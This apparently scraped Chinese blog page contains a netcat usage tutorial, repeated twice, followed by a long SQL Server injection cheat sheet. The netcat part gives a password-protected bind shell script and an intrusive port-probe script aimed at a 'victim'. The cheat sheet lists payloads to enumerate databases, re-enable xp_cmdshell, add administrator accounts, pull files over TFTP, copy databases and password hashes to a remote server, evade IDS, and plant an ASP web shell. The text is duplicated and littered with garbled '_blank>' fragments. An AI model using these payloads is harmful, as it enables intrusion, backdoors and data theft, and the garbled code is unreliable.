2007---永远的离别---暂时
-
nc这个小玩意儿应该大家耳熟能详,也用了N年了吧……这里不多讲废话,结合一些说说它的使用技巧。
(文中所举的都来自于nc110.tgz的文件包)
一、基本使用Quack# nc -h
[v1.10]
想要连接到某处: nc [-options] hostname port[s] [ports] ...
绑定端口等待连接: nc -l -p port [-options] [hostname] [port]
参数:
-e prog 程序重定向,一旦连接,就执行 [危险!!]
-g gateway source-routing hop point[s] up to 8
-G num source-routing pointer: 4 8 12 ...
-h 帮助信息
-i secs 延时的间隔
-l 监听模式,用于入站连接
-n 指定数字的IP地址,不能用hostname
-o file 记录16进制的传输
-p port 本地端口号
-r 任意指定本地及远程端口
-s addr 本地源地址
-u UDP模式
-v 详细输出——用两个-v可得到更详细的内容
-w secs timeout的时间
-z 将输入输出关掉——用于扫描时其中端口号可以指定一个或者用lo-hi式的指定范围。
二、用于传输文件——ncp
#! /bin/sh
## 类似于rcp,但是是用netcat在高端口做的
## 在接收文件的机器上做"ncp targetfile"
## 在发送文件的机器上做"ncp sourcefile receivinghost"
## 如果调用了 "nzp" ,会将传输文件压缩## 这里定义你想使用的端口,可以自由选择
MYPORT=23456## 如果nc没有在系统路径中的话,要把下面一行注释去掉,加以修改
# PATH=${HOME}:${PATH} ; export PATH## 下面这几行检查参数输入情况
test "$3" && echo "too many args" && exit 1
test ! "$1" && echo "no args?" && exit 1
me=`echo $0 | sed s+.*/++ `
test "$me" = "nzp" && echo [compressed mode]# if second arg it s a host to send an [extant] file to.
if test "$2" ; then
test ! -f "$1" && echo "can t find $1" && exit 1
if test "$me" = "nzp" ; then
compress -c < "$1" | nc -v -w 2 $2 $MYPORT && exit 0
else
nc -v -w 2 $2 $MYPORT < "$1" && exit 0
fi
echo "transfer FAILED!"
exit 1
fi# 是否在接收文件机器当前目录有同名文件
if test -f "$1" ; then
echo -n "Overwrite $1? "
read aa
test ! "$aa" = "y" && echo "[punted!]" && exit 1
fi
# 30 seconds oughta be pleeeeenty of time but change if you want.
if test "$me" = "nzp" ; then
# 注意这里nc的用法,结合了重定向符号和管道
nc -v -w 30 -p $MYPORT -l < /dev/null | uncompress -c > "$1" && exit 0
else
nc -v -w 30 -p $MYPORT -l < /dev/null > "$1" && exit 0
fi
echo "transfer FAILED!"
# clean up since even if the transfer failed $1 is already trashed
rm -f "$1"
exit 1这样的话,我只要在A机器上先 QuackA# ncp ../abcd
listening on [any] 23456 ...
然后在另一台机器B上
QuackB#ncp abcd 192.168.0.2
quackb [192.168.0.1] 23456 (?)
A机上出现
open connect to [192.168.0.2] from quackb [192.168.0.1] 1027
#
查看一下,文件传输完毕。三、用于绑定端口——bsh
首先要清楚,如果你编译netcat时仅用如make freebsd之类的命令来编译的话,这个工
具是无法利用的——要define一个GAPING_SECURITY_HOLE它才会提供-e选项。#! /bin/sh
## 一个利用nc的绑定shell并且带有密码保护的脚本
## 带有一个参数,即端口号NC=nc
case "$1" in
?* )
LPN="$1"
export LPN
sleep 1
#注意这里nc的用法,参数-l是lister,-e是执行重定向
echo "-l -p $LPN -e $0" ; $NC -l -p $LPN -e $0 > /dev/null 2>&1 &
echo "launched on port $LPN"
exit 0
;;
esac# here we play inetd
echo "-l -p $LPN -e $0" ; $NC -l -p $LPN -e $0 > /dev/null 2>&1 &while read qq ; do
case "$qq" in
# 这里就是弱密码保护了,密码是quack
quack )
cd /
exec csh -i
;;
esac
done要看看它是怎么使用的么?
quack# ./bsh 6666 <-------输入,后面是程序输出
-l -p 6666 -e ./bsh
launched on port 6666
quack#
quack## nc localhost 6666 <----------输入
-l -p 6666 -e ./bsh
quack <----------输入,密码验证
Warning: imported path contains relative components
Warning: no access to tty (Bad file deor).
Thus no job control in this shell.
Cracker#四、 用于端口扫描——probe
在我们常见的一些端口扫描程序中,如Vetescan这类以shell 写成的话,很多都
需要系统中装有netcat,原因何在呢?看看下面的,你或许会明白一些。#! /bin/sh
## launch a whole buncha shit at yon victim in no particular order; capture
## stderr+stdout in one place. Run as root for rservice and low -p to work.
## Fairly thorough example of using netcat to collect a lot of host info.
## Will set off every intrusion alarm in existence on a paranoid machine!# 该目录里有一些小工具
DDIR=../data
# 指定网关
GATE=192.157.69.11# might conceivably wanna change this for different run styles
UCMD= nc -v -w 8test ! "$1" && echo Needs victim arg && exit 1
echo | $UCMD -w 9 -r "$1" 13 79 6667 2>&1
echo 0 | $UCMD "$1" 79 2>&1
# if LSRR was passed thru should get refusal here:
# 要注意这里的用法,其实nc的这些参数掌握好可以做很多事情
$UCMD -z -r -g $GATE "$1" 6473 2>&1
$UCMD -r -z "$1" 6000 4000-4004 111 53 2105 137-140 1-20 540-550 95 87 2>&1
# -s `hostname` may be wrong for some multihomed machines
echo UDP echoecho! | nc -u -p 7 -s `hostname` -w 3 "$1" 7 19 2>&1
echo 11310158 | $UCMD -p 10158 "$1" 113 2>&1
rservice bin bin | $UCMD -p 1019 "$1" shell 2>&1
echo QUIT | $UCMD -w 8 -r "$1" 25 158 159 119 110 109 1109 142-144 220 23 2>&1
# newline after any telnet trash
echo
echo PASV | $UCMD -r "$1" 21 2>&1
echo GET / | $UCMD -w 10 "$1" 80 81 210 70 2>&1
# sometimes contains useful directory info:
# 知道robots.txt是什么文件么?;)
echo GET /robots.txt | $UCMD -w 10 "$1" 80 2>&1
# now the big red lights go on
# 利用小工具rservice来尝试,该工具可以在nc110.tgz的data目录里找到
rservice bin bin 9600/9600 | $UCMD -p 1020 "$1" login 2>&1
rservice root root | $UCMD -r "$1" exec 2>&1
echo BEGIN big udp -- everything may look "open" if packet-filtered
data -g < ${DDIR}/nfs-0.d | $UCMD -i 1 -u "$1" 2049 | od -x 2>&1
# no wait-time uses RTT hack
nc -v -z -u -r "$1" 111 66-70 88 53 87 161-164 121-123 213 49 2>&1
nc -v -z -u -r "$1" 137-140 694-712 747-770 175-180 2103 510-530 2>&1
echo END big udp
$UCMD -r -z "$1" 175-180 2000-2003 530-533 1524 1525 666 213 8000 6250 2>&1
# Use our identd-sniffer!
iscan "$1" 21 25 79 80 111 53 6667 6000 2049 119 2>&1
# this gets pretty intrusive but what the ***. Probe for portmap first
if nc -w 5 -z -u "$1" 111 ; then
showmount -e "$1" 2>&1 #象showmount和rpcinfo的使用,可能会被逮到;)
rpcinfo -p "$1" 2>&1
fi
exit 0感觉也没什么好说的,脚本本身说明了一切。当然象上面的脚本只是示范性的例子,真正地使用时,
这样扫描会留下大量的痕迹,系统管理员会额外小心;)多试试,多想想,可能你可以用它来做更多事情——你可以参见nc110.tgz里目录下的那
些脚本,从中获得一些思路。
nc这个小玩意儿应该大家耳熟能详,也用了N年了吧……这里不多讲废话,结合一些说说它的使用技巧。
(文中所举的都来自于nc110.tgz的文件包)
一、基本使用Quack# nc -h
[v1.10]
想要连接到某处: nc [-options] hostname port[s] [ports] ...
绑定端口等待连接: nc -l -p port [-options] [hostname] [port]
参数:
-e prog 程序重定向,一旦连接,就执行 [危险!!]
-g gateway source-routing hop point[s] up to 8
-G num source-routing pointer: 4 8 12 ...
-h 帮助信息
-i secs 延时的间隔
-l 监听模式,用于入站连接
-n 指定数字的IP地址,不能用hostname
-o file 记录16进制的传输
-p port 本地端口号
-r 任意指定本地及远程端口
-s addr 本地源地址
-u UDP模式
-v 详细输出——用两个-v可得到更详细的内容
-w secs timeout的时间
-z 将输入输出关掉——用于扫描时其中端口号可以指定一个或者用lo-hi式的指定范围。
二、用于传输文件——ncp
#! /bin/sh
## 类似于rcp,但是是用netcat在高端口做的
## 在接收文件的机器上做"ncp targetfile"
## 在发送文件的机器上做"ncp sourcefile receivinghost"
## 如果调用了 "nzp" ,会将传输文件压缩## 这里定义你想使用的端口,可以自由选择
MYPORT=23456## 如果nc没有在系统路径中的话,要把下面一行注释去掉,加以修改
# PATH=${HOME}:${PATH} ; export PATH## 下面这几行检查参数输入情况
test "$3" && echo "too many args" && exit 1
test ! "$1" && echo "no args?" && exit 1
me=`echo $0 | sed s+.*/++ `
test "$me" = "nzp" && echo [compressed mode]# if second arg it s a host to send an [extant] file to.
if test "$2" ; then
test ! -f "$1" && echo "can t find $1" && exit 1
if test "$me" = "nzp" ; then
compress -c < "$1" | nc -v -w 2 $2 $MYPORT && exit 0
else
nc -v -w 2 $2 $MYPORT < "$1" && exit 0
fi
echo "transfer FAILED!"
exit 1
fi# 是否在接收文件机器当前目录有同名文件
if test -f "$1" ; then
echo -n "Overwrite $1? "
read aa
test ! "$aa" = "y" && echo "[punted!]" && exit 1
fi
# 30 seconds oughta be pleeeeenty of time but change if you want.
if test "$me" = "nzp" ; then
# 注意这里nc的用法,结合了重定向符号和管道
nc -v -w 30 -p $MYPORT -l < /dev/null | uncompress -c > "$1" && exit 0
else
nc -v -w 30 -p $MYPORT -l < /dev/null > "$1" && exit 0
fi
echo "transfer FAILED!"
# clean up since even if the transfer failed $1 is already trashed
rm -f "$1"
exit 1这样的话,我只要在A机器上先 QuackA# ncp ../abcd
listening on [any] 23456 ...
然后在另一台机器B上
QuackB#ncp abcd 192.168.0.2
quackb [192.168.0.1] 23456 (?)
A机上出现
open connect to [192.168.0.2] from quackb [192.168.0.1] 1027
#
查看一下,文件传输完毕。三、用于绑定端口——bsh
首先要清楚,如果你编译netcat时仅用如make freebsd之类的命令来编译的话,这个工
具是无法利用的——要define一个GAPING_SECURITY_HOLE它才会提供-e选项。#! /bin/sh
## 一个利用nc的绑定shell并且带有密码保护的脚本
## 带有一个参数,即端口号NC=nc
case "$1" in
?* )
LPN="$1"
export LPN
sleep 1
#注意这里nc的用法,参数-l是lister,-e是执行重定向
echo "-l -p $LPN -e $0" ; $NC -l -p $LPN -e $0 > /dev/null 2>&1 &
echo "launched on port $LPN"
exit 0
;;
esac# here we play inetd
echo "-l -p $LPN -e $0" ; $NC -l -p $LPN -e $0 > /dev/null 2>&1 &while read qq ; do
case "$qq" in
# 这里就是弱密码保护了,密码是quack
quack )
cd /
exec csh -i
;;
esac
done要看看它是怎么使用的么?
quack# ./bsh 6666 <-------输入,后面是程序输出
-l -p 6666 -e ./bsh
launched on port 6666
quack#
quack## nc localhost 6666 <----------输入
-l -p 6666 -e ./bsh
quack <----------输入,密码验证
Warning: imported path contains relative components
Warning: no access to tty (Bad file deor).
Thus no job control in this shell.
Cracker#四、 用于端口扫描——probe
在我们常见的一些端口扫描程序中,如Vetescan这类以shell 写成的话,很多都
需要系统中装有netcat,原因何在呢?看看下面的,你或许会明白一些。#! /bin/sh
## launch a whole buncha shit at yon victim in no particular order; capture
## stderr+stdout in one place. Run as root for rservice and low -p to work.
## Fairly thorough example of using netcat to collect a lot of host info.
## Will set off every intrusion alarm in existence on a paranoid machine!# 该目录里有一些小工具
DDIR=../data
# 指定网关
GATE=192.157.69.11# might conceivably wanna change this for different run styles
UCMD= nc -v -w 8test ! "$1" && echo Needs victim arg && exit 1
echo | $UCMD -w 9 -r "$1" 13 79 6667 2>&1
echo 0 | $UCMD "$1" 79 2>&1
# if LSRR was passed thru should get refusal here:
# 要注意这里的用法,其实nc的这些参数掌握好可以做很多事情
$UCMD -z -r -g $GATE "$1" 6473 2>&1
$UCMD -r -z "$1" 6000 4000-4004 111 53 2105 137-140 1-20 540-550 95 87 2>&1
# -s `hostname` may be wrong for some multihomed machines
echo UDP echoecho! | nc -u -p 7 -s `hostname` -w 3 "$1" 7 19 2>&1
echo 11310158 | $UCMD -p 10158 "$1" 113 2>&1
rservice bin bin | $UCMD -p 1019 "$1" shell 2>&1
echo QUIT | $UCMD -w 8 -r "$1" 25 158 159 119 110 109 1109 142-144 220 23 2>&1
# newline after any telnet trash
echo
echo PASV | $UCMD -r "$1" 21 2>&1
echo GET / | $UCMD -w 10 "$1" 80 81 210 70 2>&1
# sometimes contains useful directory info:
# 知道robots.txt是什么文件么?;)
echo GET /robots.txt | $UCMD -w 10 "$1" 80 2>&1
# now the big red lights go on
# 利用小工具rservice来尝试,该工具可以在nc110.tgz的data目录里找到
rservice bin bin 9600/9600 | $UCMD -p 1020 "$1" login 2>&1
rservice root root | $UCMD -r "$1" exec 2>&1
echo BEGIN big udp -- everything may look "open" if packet-filtered
data -g < ${DDIR}/nfs-0.d | $UCMD -i 1 -u "$1" 2049 | od -x 2>&1
# no wait-time uses RTT hack
nc -v -z -u -r "$1" 111 66-70 88 53 87 161-164 121-123 213 49 2>&1
nc -v -z -u -r "$1" 137-140 694-712 747-770 175-180 2103 510-530 2>&1
echo END big udp
$UCMD -r -z "$1" 175-180 2000-2003 530-533 1524 1525 666 213 8000 6250 2>&1
# Use our identd-sniffer!
iscan "$1" 21 25 79 80 111 53 6667 6000 2049 119 2>&1
# this gets pretty intrusive but what the ***. Probe for portmap first
if nc -w 5 -z -u "$1" 111 ; then
showmount -e "$1" 2>&1 #象showmount和rpcinfo的使用,可能会被逮到;)
rpcinfo -p "$1" 2>&1
fi
exit 0感觉也没什么好说的,脚本本身说明了一切。当然象上面的脚本只是示范性的例子,真正地使用时,
这样扫描会留下大量的痕迹,系统管理员会额外小心;)多试试,多想想,可能你可以用它来做更多事情——你可以参见nc110.tgz里目录下的那
些脚本,从中获得一些思路 -
1判断有无注入点
CODE:; and 1=1 and 1=2
2.猜表一般的表的名称无非是admin adminuser user pass password 等..
CODE:and 0<>(select count(*) from *)
and 0<>(select count(*) from admin) ---判断是否存在admin这张表
3.猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个
CODE:and 0<(select count(*) from admin)
and 1<(select count(*) from admin)
4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称.
CODE:and 1=(select count(*) from admin where len(*) >0)--
and 1=(select count(*) from admin where len(用户字段名称name)>0)
and 1=(select count(*) from admin where len(_blank>密码字段名称password)>0)
5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止
CODE:and 1=(select count(*) from admin where len(*)>0)
and 1=(select count(*) from admin where len(name)>6) 错误
and 1=(select count(*) from admin where len(name)>5) 正确 长度是6
and 1=(select count(*) from admin where len(name)=6) 正确
and 1=(select count(*) from admin where len(password)>11) 正确
and 1=(select count(*) from admin where len(password)>12) 错误 长度是12
and 1=(select count(*) from admin where len(password)=12) 正确
6.猜解字符
CODE:and 1=(select count(*) from admin where left(name,1)=a) ---猜解用户帐号的第一位
and 1= (select count(*) from admin where left(name,2)=ab)---猜解用户帐号的第二位
就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了
CODE:and 1=(select top 1 count(*) from Admin where Asc(mid (pass,5,1))=51) --
这个查询语句可以猜解中文的用户和_blank>密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.
CODE:group by users.id having 1=1--
group by users.id, users.username, users.password, users.privs having 1= 1--
; insert into users s( 666, attacker, foobar, 0xffff )--
UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank> _NAME=logintable-
UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank>_NAME=logintable WHERE COLUMN_blank>_NAME NOT IN (login_blank>_id)-
UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank>_NAME=logintable WHERE COLUMN_blank>_NAME NOT IN (login_blank>_id,login_blank>_name)-
UNION SELECT TOP 1 login_blank> _name FROM logintable-
UNION SELECT TOP 1 password FROM logintable where login_blank>_name=Rahul--
看_blank>服务器打的补丁=出错了打了SP4补丁
CODE:and 1=(select @@VERSION)--
看_blank>数据库连接账号的权限,返回正常,证明是_blank>服务器角色sysadmin权限。
CODE:and 1=(SELECT IS_blank>_SRVROLEMEMBER(sysadmin))--
判断连接_blank>数据库帐号。(采用SA账号连接 返回正常=证明了连接账号是SA)
CODE:and sa=(SELECT System_blank>_user)--
and user_blank>_name()=dbo--
and 0<>(select user_blank>_name()--
看xp_blank>_cmdshell是否删除
CODE:and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = X AND name = xp_blank>_cmdshell)--
xp_blank>_cmdshell被删除,恢复,支持绝对路径的恢复
CODE:;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll--
;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c: \inetpub\wwwroot\xplog70.dll--
反向PING自己实验
CODE:;use master;declare @s int;exec sp_blank>_oacreate "w.shell",@s out;exec sp_blank>_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1";--
加帐号
CODE:;DECLARE @shell INT EXEC SP_blank>_OACREATE w.shell,@shell OUTPUT EXEC SP_blank> _OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add--
创建一个虚拟目录E盘:
CODE:;declare @o int exec sp_blank>_oacreate w.shell, @o out exec sp_blank>_oamethod @o, run, NULL, c.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "默认Web站点" -v "e","e: \"--
访问属性:(配合写入一个webshell)
CODE:declare @o int exec sp_blank>_oacreate w.shell, @o out exec sp_blank>_oamethod @o, run, NULL, c.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse
爆库 特殊_blank>技巧::%5c=\ 或者把/和\ 修改%5提交
CODE:and 0< >(select top 1 paths from newtable)--
得到库名(从1到5都是系统的id,6以上才可以判断)
and 1=(select name from master.dbo.sysdatabases where dbid=7)--
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
依次提交 dbid = 7,8,9.... 得到更多的_blank>数据库名
CODE:and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 暴到一个表 假设为 admin
and 0 <>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in (Admin)) 来得到其他的表。
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin
and uid>(str (id))) 暴到UID的数值假设为18779569 uid=id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段,假设为 user_blank>_id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in
(id,...)) 来暴出其他的字段
and 0<(select user_blank>_id from BBS.dbo.admin where username>1) 可以得到用户名
依次可以得到_blank>密码。。。。。假设存在user_blank>_id username ,password 等字段
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
and 0<> (select top 1 name from bbs.dbo.sysobjects where xtype=U) 得到表名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in(Address))
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin and uid>(str(id))) 判断id值
and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段
?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
?id=-1 union select 1,2,3,4,5,6,7,8, *,9,10,11,12,13 from admin (union,access也好用)
得到WEB路径
CODE:;create table [dbo].[swap] ([swappass][char](255));--
and (select top 1 swappass from swap)=1--
;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=SYSTEM\CurrentControlSet \Services\W3SVC\Parameters\Virtual Roots\, @_blank>_name=/, s=@test OUTPUT insert into paths (path) s(@test)--
;use ku1;--
;create table cmd (str image);--
建立image类型的表cmd
存在xp_blank>_cmdshell的测试过程:
CODE:;exec master..xp_blank>_cmdshell dir
;exec master.dbo.sp_blank>_addlogin jiaoniang$;-- 加SQL帐号
;exec master.dbo.sp_blank>_password null,jiaoniang$,1866574;--
;exec master.dbo.sp_blank>_addsrvrolemember jiaoniang$ sysadmin;--
;exec master.dbo.xp_blank>_cmdshell net user jiaoniang$ 1866574 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add;--
;exec master.dbo.xp_blank>_cmdshell net localgroup administrators jiaoniang$ /add;--
exec master..xp_blank> _servicecontrol start, schedule 启动_blank>服务
exec master..xp_blank>_servicecontrol start, server
; DECLARE @shell INT EXEC SP_blank>_OACREATE w.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add
;DECLARE @shell INT EXEC SP_blank>_OACREATE w.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add
; exec master..xp_blank>_cmdshell tftp -i youip get file.exe-- 利用TFTP上传文件
;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\
;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:\
;declare @a;set @a=db_blank>_name();backup database @a to disk=你的IP你的共享目录bak.dat
如果被限制则可以。
CODE:select * from openrowset (_blank>sqloledb,server;sa;,select OK! exec master.dbo.sp_blank>_addlogin hax)
查询构造:
CODE:SELECT * FROM news WHERE id=... AND topic=... AND .....
adminand 1=(select count(*) from [user] where username=victim and right(left(userpass,01),1)=1) and userpass <>
select 123;--
;use master;--
:a or name like fff%;-- 显示有一个叫ffff的用户哈。
and 1<>(select count (email) from [user]);--
;update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0) where name=ffff;--
;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;--
;update [users] set email=(select top 1 name from sysobjects where xtype=u and id>581577110) where name=ffff;--
;update [users] set email=(select top 1 count(id) from password) where name=ffff;--
;update [users] set email=(select top 1 pwd from password where id=2) where name=ffff;--
;update [users] set email=(select top 1 name from password where id=2) where name=ffff;--
上面的语句是得到_blank>数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。
通过查看ffff的用户资料可得第一个用表叫ad
然后根据表名ad得到这个表的ID 得到第二个表的名字
CODE:insert into users s( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char (0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)--
insert into users s( 667,123,123,0xffff)--
insert into users s ( 123, admin--, password, 0xffff)--
;and user>0
;and (select count(*) from sysobjects)>0
;and (select count(*) from mysysobjects)>0 //为access_blank>数据库
枚举出数据表名
CODE:;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);--
这是将第一个表名更新到aaa的字段处。
读出第一个表,第二个表可以这样读出来(在条件后加上 and name< >刚才得到的表名)。
CODE:;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0 and name<>vote);--
然后id=1552 and exists(select * from aaa where aaa>5)
读出第二个表,一个个的读出,直到没有为止。
读字段是这样:
CODE:;update aaa set aaa=(select top 1 col_blank>_name (object_blank>_id(表名),1));--
然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名
CODE:;update aaa set aaa=(select top 1 col_blank>_name(object_blank>_id(表名),2));--
然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名
[获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名]
update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>你得到的表名 查出一个加一个]) [ where 条件] select top 1 name from sysobjects where xtype=u and status>0 and name not in(table1,table2,…)
通过SQLSERVER注入_blank>漏洞建_blank>数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]
[获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名]
update 表名 set 字段= (select top 1 col_blank>_name(object_blank>_id(要查询的数据表名),字段列如:1) [ where 条件]
绕过IDS的检测[使用变量]
CODE:;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\
;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:\
1、 开启远程_blank>数据库
基本语法
CODE:select * from OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1 )
参数: (1) OLEDB Provider name
2、 其中连接字符串参数可以是任何端口用来连接,比如
CODE:select * from OPENROWSET(SQLOLEDB, uid=sa;pwd= 123;Network=DBMSSOCN;Address=192.168.0.1,1433;, select * from table
3.复制目标主机的整个_blank>数据库 insert所有远程表到本地表。
基本语法:
CODE:insert into OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1) select * from table2
这行语句将目标主机上table2表中的所有数据复制到远程_blank>数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口,指向需要的地方,比如:
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address= 192.168.0.1,1433;,select * from table1) select * from table2
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd= 123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysdatabases)
select * from master.dbo.sysdatabases
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address= 192.168.0.1,1433;,select * from _blank>_sysobjects)
select * from user_blank> _database.dbo.sysobjects
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address= 192.168.0.1,1433;,select * from _blank>_syscolumns)
select * from user_blank> _database.dbo.syscolumns
复制_blank>数据库:
CODE:insert into OPENROWSET(SQLOLEDB,uid=sa;pwd= 123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from database..table1
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table2) select * from database..table2
复制哈西表(HASH)登录_blank>密码的hash存储于sysxlogins中。方法如下:
CODE:insert into OPENROWSET (SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysxlogins) select * from database.dbo.sysxlogins
得到hash之后,就可以进行暴力破解。
遍历目录的方法: 先创建一个临时表:temp
CODE:;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
;insert temp exec master.dbo.xp_blank>_availablemedia;-- 获得当前所有驱动器
;insert into temp(id) exec master.dbo.xp_blank>_subdirs c:\;-- 获得子目录列表
;insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\;-- 获得所有子目录的目录树结构,并寸入temp表中
;insert into temp(id) exec master.dbo.xp_blank>_cmdshell type c:\web\index.asp;-- 查看某个文件的内容
;insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\;--
;insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\ *.asp /s/a;--
;insert into temp(id) exec master.dbo.xp_blank> _cmdshell c C:\Inetpub\Admins\adsutil.vbs enum w3svc
;insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\;-- (xp_blank>_dirtree适用权限PUBLIC)
写入表:
语句1:and 1= (SELECT IS_blank>_SRVROLEMEMBER(sysadmin));--
语句2:and 1=(SELECT IS_blank>_SRVROLEMEMBER (serveradmin));--
语句3:and 1=(SELECT IS_blank>_SRVROLEMEMBER(setupadmin));--
语句4:and 1=(SELECT IS_blank>_SRVROLEMEMBER(securityadmin));--
语句5:and 1=(SELECT IS_blank>_SRVROLEMEMBER (securityadmin));--
语句6:and 1=(SELECT IS_blank>_SRVROLEMEMBER(diskadmin));--
语句7:and 1= (SELECT IS_blank>_SRVROLEMEMBER(bulkadmin));--
语句8:and 1=(SELECT IS_blank>_SRVROLEMEMBER (bulkadmin));--
语句9:and 1=(SELECT IS_blank>_MEMBER(db_blank>_owner));--
把路径写到表中去:
CODE:;create table dirs(paths varchar(100), id int)--
;insert dirs exec master.dbo.xp_blank>_dirtree c:\--
and 0<>(select top 1 paths from dirs)--
and 0<> (select top 1 paths from dirs where paths not in(@Inetpub))--
;create table dirs1(paths varchar(100), id int)--
;insert dirs exec master.dbo.xp_blank>_dirtree e:\web--
and 0<>(select top 1 paths from dirs1)--
把_blank>数据库备份到网页目录:下载
CODE:;declare @a sysname; set @a=db_blank>_name();backup database @a to disk=e:\web\down.bak;--
and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where xtype=char(85)) T order by id desc)
and 1=(Select Top 1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) from sysobjects) 参看相关表。
and 1=(select user_blank>_id from USER_blank>_LOGIN)
and 0=(select user from USER_blank>_LOGIN where user>1)
-=- w.shell example -=-
declare @o int
exec sp_blank>_oacreate w.shell, @o out
exec sp_blank>_oamethod @o, run, NULL, notepad.exe
; declare @o int exec sp_blank>_oacreate w.shell, @o out exec sp_blank>_oamethod @o, run, NULL, notepad.exe--
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_blank>_oacreate ing.filesystemobject, @o out
exec sp_blank>_oamethod @o, opentextfile, @f out, c:\boot.ini, 1
exec @ret = sp_blank>_oamethod @f, readline, @line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_blank>_oamethod @f, readline, @line out
end
declare @o int, @f int, @t int, @ret int
exec sp_blank>_oacreate ing.filesystemobject, @o out
exec sp_blank>_oamethod @o, createtextfile, @f out, c:\inetpub\wwwroot\foo.asp, 1
exec @ret = sp_blank>_oamethod @f, writeline, NULL,
<% set o = server.createobject("w.shell"): o.run( request.querystring("cmd") ) %>
declare @o int, @ret int
exec sp_blank>_oacreate speech.voicetext, @o out
exec sp_blank> _oamethod @o, register, NULL, foo, bar
exec sp_blank>_oasetproperty @o, speed, 150
exec sp_blank>_oamethod @o, speak, NULL, all your sequel servers are belong to,us, 528
waitfor delay 00:00:05
; declare @o int, @ret int exec sp_blank>_oacreate speech.voicetext, @o out exec sp_blank>_oamethod @o, register, NULL, foo, bar exec sp_blank>_oasetproperty @o, speed, 150 exec sp_blank>_oamethod @o, speak, NULL, all your sequel servers are belong to us, 528 waitfor delay 00:00:05--
xp_blank>_dirtree适用权限PUBLIC
exec master.dbo.xp_blank>_dirtree c:\
